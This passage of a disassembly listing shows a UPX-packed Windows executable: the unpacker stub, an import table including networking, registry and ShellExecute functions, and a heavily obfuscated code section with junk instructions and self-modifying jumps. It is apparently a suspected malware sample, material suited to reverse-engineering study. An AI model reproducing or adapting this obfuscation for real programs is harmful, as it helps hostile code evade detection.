		adc	ebx, ebx
		jnb	short loc_421AD0


loc_421AEC:				; CODE XREF: UPX1:00421AE1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_421B00
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_421B72
		mov	ebp, eax


loc_421B00:				; CODE XREF: UPX1:00421AF1j
		add	ebx, ebx
		jnz	short loc_421B0B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B0B:				; CODE XREF: UPX1:00421B02j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_421B18
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B18:				; CODE XREF: UPX1:00421B0Fj
		adc	ecx, ecx
		jnz	short loc_421B3C
		inc	ecx


loc_421B1D:				; CODE XREF: UPX1:00421B2Cj
					; UPX1:00421B37j
		add	ebx, ebx
		jnz	short loc_421B28
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_421B28:				; CODE XREF: UPX1:00421B1Fj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_421B1D
		jnz	short loc_421B39
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_421B1D


loc_421B39:				; CODE XREF: UPX1:00421B2Ej
		add	ecx, 2


loc_421B3C:				; CODE XREF: UPX1:00421B1Aj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_421B5C


loc_421B4D:				; CODE XREF: UPX1:00421B54j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_421B4D
		jmp	loc_421ABE
; ---------------------------------------------------------------------------
		align 4


loc_421B5C:				; CODE XREF: UPX1:00421B4Bj
					; UPX1:00421B69j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_421B5C
		add	edi, ecx
		jmp	loc_421ABE
; ---------------------------------------------------------------------------


loc_421B72:				; CODE XREF: UPX1:00421AFCj
		pop	esi
		mov	edi, esi
		mov	ecx, 9C1h


loc_421B7A:				; CODE XREF: UPX1:00421B81j
					; UPX1:00421B86j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_421B7F:				; CODE XREF: UPX1:00421BA4j
		cmp	al, 1
		ja	short loc_421B7A
		cmp	byte ptr [edi],	6
		jnz	short loc_421B7A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_421B7F
		lea	edi, [esi+1F000h]


loc_421BAC:				; CODE XREF: UPX1:00421BCEj
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_421BF7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+21000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+210A0h]
		xchg	eax, ebp


loc_421BC9:				; CODE XREF: UPX1:00421BEFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_421BAC
		mov	ecx, edi
		jns	short near ptr loc_421BDA+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_421BDA:				; CODE XREF: UPX1:00421BD2j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+210A4h]
		or	eax, eax
		jz	short loc_421BF1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_421BC9
; ---------------------------------------------------------------------------


loc_421BF1:				; CODE XREF: UPX1:00421BE8j
		call	dword ptr [esi+210A8h]


loc_421BF7:				; CODE XREF: UPX1:00421BB0j
		popa
		jmp	near ptr dword_401004+157EDh
; ---------------------------------------------------------------------------
		align 800h
UPX1		ends

; Section 3. (virtual address 00022000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00022000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
UPX2		segment	para public 'DATA' use32
		assume cs:UPX2
		;org 422000h
dword_422000	dd 3 dup(0)		; DATA XREF: fzj3qwht:0042A15Co
					; sub_432992+9o
		dd 220E0h, 220A0h, 3 dup(0)
		dd 220EDh, 220B0h, 3 dup(0)
		dd 220FAh, 220B8h, 3 dup(0)
		dd 22105h, 220C0h, 3 dup(0)
		dd 22112h, 220C8h, 3 dup(0)
		dd 2211Eh, 220D0h, 3 dup(0)
		dd 22129h, 220D8h, 5 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0
		dd 77DD189Ah, 0
a@W		db '@¹Äw',0
		align 10h
		dd 7713BC68h, 0
aClbw		db '—‹Bw',0
		align 10h
aJW		db 'jÉÔw',0
		align 4
aTLq		db 'â]«q',0
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
aMsvcrt_dll	db 'MSVCRT.dll',0
aOleaut32_dll	db 'OLEAUT32.dll',0
aShell32_dll	db 'SHELL32.dll',0
aUser32_dll	db 'USER32.dll',0
aWs2_32_dll	db 'WS2_32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74697845h,	636F7250h, 737365h, 65520000h
		dd 6F6C4367h, 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h
		dd 75636578h, 416574h, 73770000h, 6E697270h, 416674h, 39Ch dup(0)
UPX2		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 00023000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00023000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
hjohnhn9	segment	para public 'CODE' use32
		assume cs:hjohnhn9
		;org 423000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		add	esi, 0F2008C74h
		jmp	sub_426098
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42300D:				; CODE XREF: hjohnhn9:004239C5j
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax
		jmp	loc_427F49
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_423022:				; CODE XREF: sub_4287BF-1571j
		jmp	loc_42369A
; END OF FUNCTION CHUNK	FOR sub_4287BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_423027:				; CODE XREF: sub_426475+17j
		jmp	loc_4234D8
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42626F


loc_42302C:				; CODE XREF: sub_42626F+13j
		jmp	loc_4242D9
; END OF FUNCTION CHUNK	FOR sub_42626F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42441D


loc_423031:				; CODE XREF: sub_42441D+4j
					; sub_425029:loc_426AD7j
		mov	eax, [ebp-0Ch]
		push	offset sub_42303E
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_42441D

; =============== S U B	R O U T	I N E =======================================



sub_42303E	proc near		; DATA XREF: sub_42441D-13E9o

; FUNCTION CHUNK AT 00424896 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427119 SIZE 00000014 BYTES

		movzx	eax, byte ptr [eax]


loc_423041:				; CODE XREF: sub_426A78:loc_426588j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		jmp	loc_424896
sub_42303E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42304F	proc near		; DATA XREF: sub_427792-24DBo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042306D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004237EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424218 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004243F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A33 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424D8C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424F43 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004260B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426833 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426AE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C4F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426EF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427102 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004273B2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 004274F9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00428079 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004282D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428AA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428F45 SIZE 00000005 BYTES

		mov	ecx, [ebx+ecx+0Ch]


loc_423053:				; CODE XREF: sub_4287BF+Ej
		or	ecx, ecx
		jz	loc_4273B2
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jmp	loc_4282D3
sub_42304F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_42306D:				; CODE XREF: sub_42304F:loc_426C4Fj
		mov	ebx, [eax+18h]
		jmp	loc_4260B8
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------


loc_423075:				; CODE XREF: hjohnhn9:00427F6Aj
		adc	ebx, 0EA4171D6h
		popf
		jp	loc_423CFC
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_423082:				; CODE XREF: sub_425BD2:loc_425F81j
		jmp	loc_42476D
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_423087:				; CODE XREF: sub_4236A7+26DFj
		pop	ebx
		sub	ebx, 0CE90282Ch
		xor	ebx, 6D2D7DF6h
		or	ebx, 7773C380h
		jmp	loc_4238EB
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42309F:				; CODE XREF: sub_42466E:loc_4289F8j
		jnz	loc_425DA9


loc_4230A5:				; CODE XREF: hjohnhn9:00424693j
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
		push	0F1F2C47Eh
		xchg	ecx, ebx
		test	ecx, 9233CFC0h
		jmp	loc_42822C
; ---------------------------------------------------------------------------


loc_4230BC:				; DATA XREF: sub_427C9B-35EAo
		add	edx, ebp
		add	edx, 3EA0911Dh
		call	sub_42466E
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4230C9:				; CODE XREF: sub_424631+464Ej
		jmp	loc_423180
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4230CE:				; CODE XREF: sub_423B05:loc_424B45j
		jz	loc_423A31
		jnz	loc_423505
		cdq
		jmp	loc_423A2B
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_4230E0	proc near		; CODE XREF: sub_4275A3:loc_426134p
					; hjohnhn9:00427579j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425D9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042772C SIZE 0000001D BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	7B102949h
		pop	ebx
		rol	ebx, 2
		jmp	loc_425D9E
sub_4230E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4230F2	proc near		; CODE XREF: sub_42855B:loc_427DCDj
		push	ebp
		push	offset sub_427BCE
		jmp	nullsub_103
sub_4230F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426638


loc_4230FD:				; CODE XREF: sub_426638:loc_427F5Fj
		xor	edx, ds:4000F8h
		cmp	edx, 51638979h
		jmp	loc_427F44
; END OF FUNCTION CHUNK	FOR sub_426638
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E1


loc_42310F:				; CODE XREF: sub_4241E1+Cj
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_4241E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_423114:				; CODE XREF: sub_4250FC-3DCj
		mov	ecx, eax
		pop	eax
		or	ecx, 9ED4A6B5h
		rol	ecx, 0Ah
		jmp	loc_427D19
; END OF FUNCTION CHUNK	FOR sub_4250FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_423126:				; CODE XREF: sub_426A30-2266j
		jmp	loc_426BBA
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_42312B:				; CODE XREF: sub_424161+440j
					; DATA XREF: sub_428192:loc_4247CFo
		pop	ebp
		mov	eax, ds:dword_423950
		or	eax, eax
		push	offset sub_4248B1
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
		adc	edi, eax
		jmp	sub_424D38
; ---------------------------------------------------------------------------


loc_423145:				; CODE XREF: hjohnhn9:00427A97j
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_42314E:				; CODE XREF: sub_42325E:loc_425205j
		push	ecx
		push	6CA47921h
		jmp	loc_4276C0
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
		mov	[ebp-8], eax
		push	eax
		push	38908B4Ah
		xchg	edi, [esp]
		jmp	loc_425F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_42316A:				; CODE XREF: sub_426671-268Dj
		sub	edx, 7A4EC4C0h
		add	edx, 0AC572996h
		push	offset loc_428C2D
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_423180:				; CODE XREF: sub_424631:loc_4230C9j
		mov	eax, [ebp+8]
		push	offset loc_426610
		jmp	loc_42368D
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_42318D:				; CODE XREF: sub_4287BF-1221j
		jnz	loc_42867B
		mov	eax, [ebp-4]
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_42866C
; END OF FUNCTION CHUNK	FOR sub_4287BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D6A


loc_4231A3:				; CODE XREF: sub_427D6A+12j
		jmp	loc_425121
; END OF FUNCTION CHUNK	FOR sub_427D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4275A3


loc_4231A8:				; CODE XREF: sub_4275A3-18CCj
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_4275A3

; =============== S U B	R O U T	I N E =======================================



sub_4231AD	proc near		; CODE XREF: hjohnhn9:004231EBj
					; sub_4284CB-4843p

; FUNCTION CHUNK AT 004249DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424CEC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004265C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004268E5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426A62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427555 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427FA4 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jz	loc_427555
		mov	eax, [ebp-4]
		mov	al, [eax]
		and	al, 0F6h
		jmp	loc_426A62
sub_4231AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_4231C3:				; CODE XREF: sub_426475+A2Cj
		jge	loc_425B75
		xor	ecx, 0D2F1B6E9h
		jmp	loc_425B6B
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_4231D4:				; CODE XREF: sub_42325E+42ECj
		jz	loc_428EBF


loc_4231DA:				; CODE XREF: hjohnhn9:00423FAFj
		jge	loc_427D13
		jmp	loc_4269A0
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
		xor	ecx, 61C8DFD6h
		jmp	sub_4231AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4231F0:				; CODE XREF: sub_424161:loc_429022j
		or	eax, 0C35DC7D7h
		cmp	eax, 7D7341B6h
		jmp	loc_424D68
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423D67


loc_423201:				; CODE XREF: sub_423D67-672j
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		push	eax
		push	458343C8h
		pop	eax
		and	eax, 0FDA01D0Dh
		call	sub_4265A0
; END OF FUNCTION CHUNK	FOR sub_423D67
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_423217:				; CODE XREF: sub_426A78:loc_427436j
		jz	loc_426579
		jmp	loc_4250D5
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_423222:				; CODE XREF: sub_423B05:loc_4238B5j
		test	eax, eax
		jnz	loc_4250B4
		jmp	loc_42862B
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873F


loc_42322F:				; CODE XREF: sub_42873F+17j
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_428748
		retn
; END OF FUNCTION CHUNK	FOR sub_42873F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_42323C:				; CODE XREF: sub_426354+16C7j
					; sub_427C9B+56j
		jmp	loc_4262EB
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426211


loc_423241:				; CODE XREF: sub_426211+16j
		jmp	loc_4250CF
; END OF FUNCTION CHUNK	FOR sub_426211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_423246:				; CODE XREF: sub_427486-1357j
		jmp	loc_427921
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42873F


loc_42324B:				; CODE XREF: sub_42873F:loc_428748j
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jmp	loc_4252D4
; END OF FUNCTION CHUNK	FOR sub_42873F

; =============== S U B	R O U T	I N E =======================================



sub_42325E	proc near		; DATA XREF: sub_423CDB+49D8o

var_18		= dword	ptr -18h

; FUNCTION CHUNK AT 0042314E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004231D4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423283 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423A82 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423B46 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423DF6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00423E36 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00424261 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425205 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004269A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426DF3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426F50 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426FE2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427140 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427535 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004276C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004276F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427BBD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428372 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428B46 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00428EBF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00428F20 SIZE 0000000C BYTES

		push	eax
		pop	ecx
		call	sub_425D27


loc_423265:				; CODE XREF: hjohnhn9:004280F1j
		jmp	loc_427BBD
sub_42325E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D02


loc_42326A:				; CODE XREF: sub_4263E3:loc_426C9Bj
					; sub_426D02+7F0j
		jmp	loc_428DAB
; END OF FUNCTION CHUNK	FOR sub_426D02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4235C9


loc_42326F:				; CODE XREF: sub_4235C9:loc_426FC2j
		ror	eax, 0Eh
		mov	ds:dword_4233A8, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4235C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B28


loc_423279:				; CODE XREF: sub_428B28+7j
		jmp	sub_424877
; END OF FUNCTION CHUNK	FOR sub_428B28
; ---------------------------------------------------------------------------


loc_42327E:				; CODE XREF: hjohnhn9:00425E01j
		jmp	loc_4242C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_423283:				; CODE XREF: sub_42325E+BF4j
		rol	eax, 0Eh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_423288:				; CODE XREF: sub_4262C5:loc_42762Dj
		call	sub_4246DB
; END OF FUNCTION CHUNK	FOR sub_4262C5
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_42328D:				; CODE XREF: sub_426A30:loc_427181j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_4247C1
		jmp	loc_4288AD
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------


loc_4232A1:				; CODE XREF: hjohnhn9:0042777Aj
		mov	byte ptr [ecx],	0E9h
		pop	ecx
		add	esi, 306850C2h
		xchg	esi, [esp]
		jmp	nullsub_1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_4232B4:				; CODE XREF: sub_4236A7+252j
		mov	esi, [eax]
		push	esi
		push	7F1739E3h
		pop	esi
		add	esi, 4759A1F6h
		jmp	loc_424F57
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428357


loc_4232C8:				; CODE XREF: sub_428357+7j
		xor	[ebp-8], eax
		call	sub_4240BC

locret_4232D0:				; CODE XREF: sub_423E64-4B9j
		retn
; END OF FUNCTION CHUNK	FOR sub_428357
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4251EB


loc_4232D1:				; CODE XREF: sub_4251EB+E02j
		push	esi
		jl	loc_426A8A
		not	esi


loc_4232DA:				; CODE XREF: sub_4251EB:loc_425FDCj
		and	eax, 0ECD35A9h
		call	sub_423E64

locret_4232E5:				; CODE XREF: hjohnhn9:loc_423B39j
		retn
; END OF FUNCTION CHUNK	FOR sub_4251EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_4232E6:				; CODE XREF: sub_425CB3+18j
		jmp	loc_4240D4
; END OF FUNCTION CHUNK	FOR sub_425CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_4232EB:				; CODE XREF: sub_4265CD-677j
		mov	edi, eax
		call	sub_428DF9
; END OF FUNCTION CHUNK	FOR sub_4265CD
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4232F2:				; CODE XREF: sub_424631-122Fj
		jmp	loc_4244BE
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_4232F7:				; CODE XREF: hjohnhn9:loc_42500Aj
		jnz	loc_424D12
		jmp	loc_4268E0
; ---------------------------------------------------------------------------


loc_423302:				; DATA XREF: hjohnhn9:loc_424089o
		pop	esi
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_425BB8
		jmp	loc_424B6F
; ---------------------------------------------------------------------------
		xchg	ebx, [esi]
		add	ebp, ecx
		jmp	sub_428CE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42855B


loc_423320:				; CODE XREF: sub_42855B-2316j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_428B08
		jmp	loc_427707
; END OF FUNCTION CHUNK	FOR sub_42855B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428183


loc_42332F:				; CODE XREF: sub_428183:loc_428B11j
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_424EAA
		jmp	sub_427C43
; ---------------------------------------------------------------------------


loc_42333E:				; CODE XREF: sub_428183:loc_424EAAj
		push	eax
		push	0
		call	sub_428192
		push	offset sub_428183
		jmp	loc_42335C
; END OF FUNCTION CHUNK	FOR sub_428183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_423350:				; CODE XREF: sub_426354:loc_423451j
		jz	loc_427951
		jmp	loc_4238BA
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------

locret_42335B:				; CODE XREF: hjohnhn9:loc_4290E4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428183


loc_42335C:				; CODE XREF: sub_428183-4E38j
		jmp	sub_4264AC
; END OF FUNCTION CHUNK	FOR sub_428183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_423361:				; CODE XREF: sub_4250FC:loc_4268E0j
		shl	edi, 1Eh
		jmp	loc_424D11
; END OF FUNCTION CHUNK	FOR sub_4250FC

; =============== S U B	R O U T	I N E =======================================



sub_423369	proc near		; CODE XREF: hjohnhn9:0042651Ej
					; sub_427564p

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00423BE7 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_427363
		push	ecx
		mov	ecx, [esp+arg_C]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_423BFB
		jmp	loc_423BE7
sub_423369	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_423388:				; CODE XREF: sub_423BC3:loc_42713Aj
		call	sub_426638
		pop	es
		aad	0D7h
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
dword_423390	dd 3628EFCEh		; DATA XREF: sub_424698+C5r
					; sub_427C9B+1174w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_423394:				; CODE XREF: sub_424819+1C8Ej
		jmp	loc_424967
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
		db 0E2h, 7Ah, 0FEh
dword_42339C	dd 6E65DF9Ch		; DATA XREF: sub_4263E3r sub_427FDD+4w
dword_4233A0	dd 34EFCC2Dh		; DATA XREF: sub_426708:loc_4261BCr
					; sub_426AF6+7w
dword_4233A4	dd 0E8265DF9h		; DATA XREF: sub_426DFB-3960w
					; sub_4237F4+45DFr
dword_4233A8	dd 59BDDF9Ch		; DATA XREF: sub_4235C9-357w
dword_4233AC	dd 736A377Eh, 16D2E9h, 0A6610D00h, 88EFCFEh, 1191E9h, 33E8100h
					; DATA XREF: hjohnhn9:00425CE0w
					; hjohnhn9:00427E32r
dword_4233C4	dd 0			; DATA XREF: sub_428477:loc_4239D3w
					; sub_424A28:loc_424824r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_4233C8:				; CODE XREF: sub_426A78-4E6j
